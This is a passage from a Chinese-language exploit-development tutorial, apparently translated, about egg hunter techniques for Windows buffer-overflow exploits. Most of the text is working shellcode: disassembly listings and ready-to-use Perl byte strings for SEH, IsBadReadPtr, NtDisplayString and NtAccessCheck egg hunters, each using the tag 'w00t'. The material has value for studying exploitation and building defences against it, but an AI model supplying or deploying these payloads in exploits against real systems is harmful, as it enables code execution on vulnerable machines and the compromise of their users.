编辑: 匕趟臃39 | 2015-08-25 |
37 个字节,利用 NtDisplayString 的寻蛋方法需要
32 字节. (最后一种只能工作在 NT 核心的系统,其两种在 win9x 也能很好的工作) . 寻蛋代码(Egg hunter code) 如前文提到的那样,Skape 已经略述了
3 种基于 window 平台的 exploit 的寻蛋技术.同样,我这里将不打算介 绍这些寻蛋技术背后的原理,相反,我将给大家提供一些实现一个寻蛋方案需要的代码. 具体采用那种寻蛋方案主要取决于以下考虑: ? 运行寻蛋代码所需要的缓冲区大小. ? 你需要测试选用的搜索内存的技术是否能在你的机器上和你要利用的 exploit 上正常工作. 利用 SEH 的寻蛋算法 寻蛋代码占用
60 个字节,蛋代码占用
8 个字节(即两个标记的长度) . EB21 jmp short 0x23
59 pop ecx B890509050 mov eax,0x50905090 ;
this is the tag
51 push ecx 6AFF push byte -0x1 33DB xor ebx,ebx
648923 mov [fs:ebx],esp 6A02 push byte +0x2
59 pop ecx 8BFB mov edi,ebx F3AF repe scasd
7507 jnz 0x20 FFE7 jmp edi 6681CBFF0F or bx,0xfff
43 inc ebx EBED jmp short 0x10 E8DAFFFFFF call 0x2 6A0C push byte +0xc
59 pop ecx 8B040C mov eax,[esp+ecx] B1B8 mov cl,0xb8
83040806 add dword [eax+ecx],byte +0x6
58 pop eax 83C410 add esp,byte+0x10
50 push eax 33C0 xor eax,eax C3 ret 为了利用这段寻蛋代码,你最终的寻蛋代码必须采用下面的格式: my $egghunter = \xeb\x21\x59\xb8 . w00t . \x51\x6a\xff\x33\xdb\x64\x89\x23\x6a\x02\x59\x8b\xfb . \xf3\xaf\x75\x07\xff\xe7\x66\x81\xcb\xff\x0f\x43\xeb . \xed\xe8\xda\xff\xff\xff\x6a\x0c\x59\x8b\x04\x0c\xb1 . \xb8\x83\x04\x08\x06\x58\x83\xc4\x10\x50\x33\xc0\xc3 ;
(w00t 就是标识.你也可以把 w00t 写作 \x77\x30\x30\x74 ) Note:随着在 SafeSeh 机制成为新的操作系统或补丁包的事实标准,SHE 注入机制很可能将不再有用武之地. 所以如果你需要在 XP SP3, Vista, Win7??上使用寻蛋技术,你将不得不考虑迂回过 safeSeh 的方案或者你将不 得不采用其他的寻蛋方案(下面将会谈到一些) . 采用 IsBadReadPtr 的寻蛋方案 寻蛋代码占用
37 个字节,蛋占用
8 个字节 33DB xor ebx,ebx 6681CBFF0F or bx,0xfff
43 inc ebx 6A08 push byte +0x8
53 push ebx B80D5BE777 mov eax,0x77e75b0d FFD0 call eax 85C0 test eax,eax 75EC jnz 0x2 B890509050 mov eax,0x50905090 ;
this is the tag 8BFB mov edi,ebx AF scasd 75E7 jnz 0x7 AF scasd 75E4 jnz0x7 FFE7 jmp edi 我们最终的寻蛋代码如下: my $egghunter = \x33\xdb\x66\x81\xcb\xff\x0f\x43\x6a\x08 . \x53\xb8\x0d\x5b\xe7\x77\xff\xd0\x85\xc0\x75\xec\xb8 . w00t . \x8b\xfb\xaf\x75\xe7\xaf\x75\xe4\xff\xe7 ;
利用 NtDisplayString 的寻蛋方案 寻蛋代码占用
32 个字节,蛋占用
8 个字节 6681CAFF0F or dx,0x0fff
42 inc edx
52 push edx 6A43 push byte +0x43
58 pop eax CD2E int 0x2e 3C05 cmp al,0x5 5A pop edx 74EF jz 0x0 B890509050 mov eax,0x50905090 ;
this is the tag 8BFA mov edi,edx AF scasd 75EA jnz 0x5 AF scasd 75E7 jnz 0x5 FFE7 jmp edi 最终的寻蛋代码看起来如下: my $egghunter = \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x43\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8 . w00t . \x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7 ;
这段代码在 Immunity 的表现如下: 使用 NtAccessCheck(AndAuditAlarm)的寻蛋方案 一个和采用 NTDisplayString 技术非常类似的方案如下: my $egghunter = \x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8 . \x77\x30\x30\x74 . # this is the marker/tag: w00t \x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7 ;